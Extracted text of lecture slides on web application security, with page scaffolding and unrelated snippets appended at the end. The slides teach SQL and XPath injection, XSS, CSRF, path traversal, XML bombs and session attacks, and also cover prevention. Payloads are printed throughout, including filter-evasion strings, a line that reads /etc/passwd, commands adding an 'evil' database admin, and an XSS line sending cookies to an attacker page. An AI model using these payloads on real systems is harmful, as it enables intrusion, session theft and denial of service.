• No results found

Advanced Security for Systems Engineering VO 01: Web Application Security

N/A
N/A
Protected

Academic year: 2021

Share "Advanced Security for Systems Engineering VO 01: Web Application Security"

Copied!
52
0
0

Loading.... (view fulltext now)

Full text

(1)

Advanced Security for Systems Engineering

VO 01: Web Application Security

(2)

Agenda

OWASP Top 10 SQL Injection XPath Injection

Cross Site Scripting

Cross Site Request Forgery Path Traversal Attack

File Upload Attack Session Management

(3)

Introduction

■ Security for Systems Engineering gives basics about SQL Injection,

XSS and CSRF

■ In this lecture we show examples of several advanced attacks on web

applications

■ including the consequences of attacks

■ presenting how different attacks can work together to break

(4)

Web Applications

■ World Wide in Use

■ Browser

■ Apps

■ Applications

(5)

OWASP Top 10 2013

1. Injection

2. Broken Authentication and Session Management

3. Cross Site Scripting (XSS)

4. Insecure Direct Object References

5. Security Misconfiguration

6. Sensitive Data Exposure

7. Missing Function Level Access Control

8. Cross Site Request Forgery (CSRF)

9. Using Components with Known Vulnerabilities

(6)

SQL Injection

SQL Injection Insert SQL query data via the input data to the application and let the DMS interpret the malicious input.

Blind SQL Injection The attacker has no direct feedback about the data but information about whether data is processed or not (side channel). Therefore, SQL Injection is possible but more effort is required to extract data from the target.

(7)

SQL Injection – Identify Vulnerable Parameters (i)

There are 3 main data types: number, string and date Identify vulnerable parameters of the type number

Request:

/ m y e c o m m e r c e s i t e / p r o d d e t a i l s . a s p ? ProdID=4 Testing:

( 1 ) SELECT ∗ FROM P r o d u c t s WHERE ProdID = 4 ’ //ERROR

( 2 ) SELECT ∗ FROM P r o d u c t s WHERE ProdID = 3 + 1 //OK

(8)

SQL Injection – Identify Vulnerable Parameters (ii)

Identify vulnerable strings Request:

/ m y e c o m m e r c e s i t e / p r o d d e t a i l s . a s p ? ProdName=Book Testing:

1. SELECT * FROM Products WHERE ProdName=’Book’’ //ERROR 2. SELECT * FROM Products WHERE ProdName=’B’ + ’ook’ //OK If (2) works, the parameter is vulnerable!

(9)

Differences in Databases

■ Database identification by database behavior

■ Attacks depend on specific functions

MS SQL MySQL Access Oracle DB2 Postgres Cat Strings ’+’ ’ concat (" ", " ") " "&" " ’||’ ’ " "+" " ’||’ ’

Null Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()

Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()

OS xp_cmdshell select into #date# utf_file import/export Call

(10)

Databases and Operating Systems

■ Interaction with the file system

■ Write files

■ Read files

(11)

Blind SQL Injection – Read Data

The attacker has no feedback about the data but information about

whether data is selected or not. Therefore, SQL Injection is possible but more effort is required to extract data from the target. A way to steal the data are Brute Force attacks.

■ Output is only true or false

1. Example: customer exists/does not exist

2. ”admin’ and password like ’a%“ → False

3. ”admin’ and password like ’b%“ → True

4. ”admin’ and password like ’ba%“ → False

(12)

UNION SELECT Injection

■ UNION SELECT statements are used to combine multiple SQL

statements to one single query

■ Therefore, allows attacker to access all tables in a system

■ All SELECT queries must have the same number of columns and the

(13)

UNION SELECT Injection – Example

SELECT CCNum, CCType , CCExp , CCName FROM C r e d i t C a r d s WHERE AccNum=11223344

ORDER BY $ o r d e r

Inject order parameter:

SELECT CCNum, CCType , CCExp , CCName FROM C r e d i t C a r d s

WHERE AccNum=11223344 ORDER BY 1

UNION

(14)

Extended Stored Procedures – MS-SQL

■ MS-SQL Servers support a large number of extended stored

procedures

■ Implemented in DLLs

■ Examples:

■ xp_cmdshell – Execute commands on OS level ■ xp_servicecontrol – Start/stop services

■ . . .

■ Example: Stopping the schedule service

■ EXEC master..xp_servicecontrol ’stop’, ’schedule’

■ Example: Execute ping

(15)

--Fileaccess – MySQL

■ Load local files into the database – LOAD FILE

’ UNION SELECT ’’,’’,load_file(’/etc/passwd’);

■ Write files with data from the database – SELECT INTO OUTFILE

■ Attackers can write the files to folders where they have access

■ Example: Using the Web Server to get the written file

(16)

SQL Injection – Add database user

■ MS-SQL

exec sp_addlogin ’evil’, ’passwd’

exec sp_addsrvrolemember ’evil’, ’sysadmin’

■ MySQL

INSERT INTO mysql.user (user, host, password)

VALUES (’evil’, ’localhost’, PASSWORD(’passwd’))

■ Oracle

CREATE USER evil IDENTIFIED BY passwd

TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO evil;

(17)

SQL Injection – Avoiding Input Filters (i)

■ Examples for tautologies

■ OR 1=1

■ OR now()=now()

■ OR 2 BETWEEN 1 AND 3

■ Using functions and encodings

’ union select * from users where login = char(114,111,111,116);

(18)

SQL Injection – Avoiding Input Filters (ii)

■ Using blanks, tabs and line breaks

■ UNION SELECT

■ UNION SELECT

■ Using comments

■ ’/**/OR/**/’x’=’x

■ select/**/*/**/from/**/users;

(19)

SQL Injection – Prevention and Mitigation

■ Input validation

■ Stored procedure and prepared statements

■ Principle of least privilege

(20)

XPath Injection

■ Similar to SQL Injection. Instead of SQL, XPath statements are used

■ Often possible when XML is used as database

■ //user[name=‘admin’ and pass=‘secure’]

■ Inject: ’ or ‘’=‘

(21)

Cross Site Scripting (XSS)

■ Interpretation of maliciously injected code in the browser

■ Basically the user is the target, not the application

■ Application is be abused as medium

■ The malicious script code is loaded from a trustfully site

■ Starting point to execute arbitrary code controlled by the attacker on

(22)

Cross Site Scripting – Identify Vulnerable Parameters

■ Basic test for injectable fields of a web page

■ URL parameter

■ Any field in the page

■ Headers of a HTTP message

■ Test vectors

■ Plain HTML: <h1>, <b>, <br/>, <img src=’...’> ■ JavaScript: <script>...</script>,

(23)

Cross Site Scripting – Examples

■ Redirects <s c r i p t >window . l o c a t i o n . r e p l a c e ( ” h t t p : / / s t a c k o v e r f l o w . com ” ) ;</ s c r i p t > ■ Session Hijacking h t t p : / /www. t e s t d o m a i n . com/ d e f a u l t . a s p x ? us e rname =<s c r i p t >window . l o c a t i o n . h r e f =” h t t p : / /www. a t t a c k e r p a g e . com/ i n d e x . php ? c o n t e n t=”+document . c o o k i e </ s c r i p t >

(24)

Cross Site Scripting – Avoiding Input Filters

<IMG SRC=” j a v a s c r i p t : a l e r t ( ’ XSS ’ ) ; ” > <IMG SRC=j a v a s c r i p t : a l e r t ( ’ XSS’)> <IMG SRC=JaVaScRiPt : a l e r t ( ’ XSS’)> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63 &#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65 &#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

”><STYLE>@import ” j a v a s c r i p t : a l e r t ( ’ XSS ’ ) ” ; </ STYLE>

>%22%27><img%20 s r c %3d%22 j a v a s c r i p t : a l e r t (%27%20XSS%27)%22>

’% u f f 1 c s c r i p t%u f f 1 e a l e r t ( ’ XSS’)% u f f 1 c / s c r i p t%u f f 1 e ’ ’ ’;!− −”<XSS>=&{()}

(25)

MySpace Worm (Samy Worm) as Example

■ Adds profile “Samy” to users

■ Within one day more than 1.000.000 contact requests

■ JavaScript in CSS

<div style="background:url(’javascript:alert(1)’)">

■ Avoid filtering of javascript via java\nscript

■ Avoid filtering of " via String.fromCharCode(34)

■ Avoid filtering of innerHTML via

eval(’document.body.inne’ + ’rHTML’)

(26)

Cross Site Scripting – Prevention

■ Input validation

■ Filter or disable JavaScript and Flash in browser

(27)

Cross Site Request Forgery (CSRF)

■ CSRF: Abusing the trust of an application in the user

■ Attacker sends a compromised HTTP request to the victim via the

(28)

CSRF – Identify Vulnerable Parameters (i)

■ Identify unvalidated redirects and forwards

■ Identify Insecure Direct Object References

■ Identify SQL Injection vulnerable parameters

■ Identify XSS vulnerable parameters

(29)

CSRF – Identify Vulnerable Parameters (ii)

■ let u be the URL being tested; for example, u =

http://www.example.com/action

■ build a html page containing the HTTP request referencing URL u

(specifying all relevant parameters; in the case of HTTP GET this is straightforward, while for a POST request you need to resort to some Javascript);

■ make sure that the valid user is logged on the application;

■ induce him into following the link pointing to the URL to be tested

(social engineering involved if you cannot impersonate the user yourself);

■ observe the result, i.e. check if the web server executed the request.

(30)

CSRF with Routers/Firewalls

1. Attacker creates a manipulated web page

2. User opens the manipulated web page

3. The response of the server is returned

4. Browser directly executes the commands in the response (without

user interaction)

(31)

Examples of CSRF Attacks

■ Multiple CSRF attacks in DD-WRT (Remote Root Command

Execution)

■ Cisco Router HTTP Administration CSRF Remote Command

Execution

(32)

CSRF – Prevention

■ Input validation

■ Secret information with every request (e.g., token)

■ Encrypted end-to-end connection

■ Good Random Number Generator

<form> <i n p u t t y p e =”h i d d e n ” name=”t o k e n ” v a l u e =”123”> New p a s s w o r d : <i n p u t t y p e =”p a s s w o r d ” name=”new pwd”> <i n p u t t y p e =”s u b m i t ” v a l u e =”Submit”> <a h r e f =”/ u s e r s / u s e r d e t a i l s ? i d=5&t o k e n =123”>C a n c e l</a> </form>

(33)

Path Traversal Attack

■ Web directories are virtual directories based on the Operating System

■ Specific failures (Perl scripts, Unicode, . . . ) allow to break out from

the directory structure provided by the web server

■ Allows unauthorized access to files and programs on OS level

■ Attackers are using this to navigate through directories and to collect

(34)

Path Traversal – Identify Vulnerable Parameters

■ Basic test for fields of a web page

■ URL parameter ■ URL path ■ Headers of a HTTP message ■ Test vectors ■ ../../../../etc/passwd ■ ../../boot.ini ■ ..\..\boot.ini

(35)

Example of Path-Traversal / Command Injection

■ Path-Traversal using Unicode

http://www.victim.com/scripts/..%c0%af../WINDOWS/ system32/cmd.exe?/c+dir

■ Decoding the Unicode characters results in:

http://www.victim.com/scripts/../../WINDOWS/ system32/cmd.exe?/c+dir

(36)

Path Traversal – Prevention

■ Configuration hardening

■ Input validation

(37)

File Upload Attack

■ Using file upload fields to upload malicious files

■ Possible attacks

■ DoS

(38)

File Upload Attack – Identify Vulnerable Parameters

■ Null-Byte-File

■ Large files

■ Wrong filetype

(39)

File Upload Attack – XML Bomb

■ Create a high processing load with minimal data

■ Allows Denial of Service attacks

<?xml v e r s i o n =”1.0” ?> <!DOCTYPE f o o b a r [

<!ENTITY x0 ”ESSE”>

<!ENTITY x1 ”&x0 ;& x0 ;”> <!ENTITY x2 ”&x1 ;& x1 ;”>

. . .

<!ENTITY x98 ”&x97 ;& x97 ;”> <!ENTITY x99 ”&x98 ;& x98 ;”>

(40)

File Upload Attack – Prevention

■ Limit for file size

■ Break upload when file size is over limit

■ Input validation

■ Principle of least privilege

■ Configuration hardening

(41)

HTTP Session Management

HTTP is stateless → Session Management required using

cookies, hidden form fields, URL parameter

■ Client-side sessions vs. server-side sessions

■ Cookies: session data is part of the HTTP header (e.g.,

non-persistent cookies)

■ URL parameter: pass session data via URL (e.g.,

"parameter=value", multiple values separated by &)

■ Hidden form fields: hidden HTML code, detectable by source code

analysis (e.g., <input type="hidden" name="name"

(42)

Session ID

■ Sessions store information about the actual state

■ User login → User remains logged in

■ Sessions implemented by session IDs

■ Takeover of existing sessions possible

■ Bad quality of session IDs

■ Random session IDs vs. built session IDs (username, date,. . . )

■ Cookies vs. encoded into the url as parameter

(43)

Identify Vulnerabe Session IDs

■ Entropy of Sessions IDs

■ Does a user get a new session ID after a successful login?

(44)
(45)

Session Fixation Attack (ii)

1. Attacker sends request to the web server

2. Web server generates a new session and transfers the session ID

3. Attacker sends a link with the session ID to the victim

4. Victim opens the link

5. Victim logs into the web service using the supplied session ID

(46)

Pseudo Random Number Generator (PRNG)

■ Many security methods depend on the unpredictability of random

numbers

■ Cryptographic keys

■ Session IDs

■ Authentication Protocols / Handshake

■ Security of PRNG depends on:

■ Confidentiality and randomness of the “seed”

(47)

Session IDs – Protection Techniques

■ Secure Random Number Generator

■ Existing libraries for session management

■ New session ID after login

■ Timelimit for sessions

■ Use security flags in session ID cookies

■ HttpOnly: the cookie cannot be accessed through client side

script

■ Secure: send only over HTTPS

■ Expire: expire date

(48)

Combinations of Attacks

■ Download source code using Path Traversal

■ Source analysis finds a weak PRNG

■ Predictable CSRF tokens

(49)

Input Filter

■ Input validation

■ Blacklist filter

■ Whitelist filter

■ Sanitization

Backlist filters based on signatures are complex, because there are so many ways to express the same.

(50)

Summary

■ Web application security required

■ OWASP Top 10 vulnerabilities

■ Advanced attack techniques to break web applications (SQL

Injection, XSS, CSRF, XML Attacks)

(51)

Literature/Links

■ Michal Zalewski. The Tangled Web: A Guide to Securing Modern

Web Applications. No Starch Press, San Francisco, CA, USA, 1

edition, 2011. ISBN 1593273886, 9781593273880

■ Open Web Application Security Project www.owasp.org

■ OWASP Top 10 Project

■ OWASP Testing Guide

■ Web Application Security Consortium www.webappsec.org

(52)

Thank you!

References

Related documents

Specialty section: This article was submitted to Microbiotechnology, Ecotoxicology and Bioremediation, a section of the journal Frontiers in Microbiology Received: 02 February

Outstanding contributions will ignore clause if parameter null or replace the data in the file created using the query run.. Resource here where i ignore where clause if parameter

The interactive experience provided by this IPE event was an opportunity for students to practice professional collaboration around the topic of food intake, which is best

Given then that a) there is little evidence on the prevalence of the use of EBM by general managers and b) there is some ambiguity in the literature as to i) what constitutes

Business Edge in abbreviation spells “BE.” It represents the theme of this commercial brand, which is: “Find out what your business can BE.” Frontier wants to help your

Overview of Available Checks Security Checks SQL Injection (Open SQL) Call Injection Code Injection (ABAP) Directory Traversal OS Command Injection Backdoors &amp; Authorizations

Password Cracking Tools Security Tools Password Administrator Countermeasures Module 18 Review Module 19 - SQL Injection SQL Injection What is SQL Injection Exploiting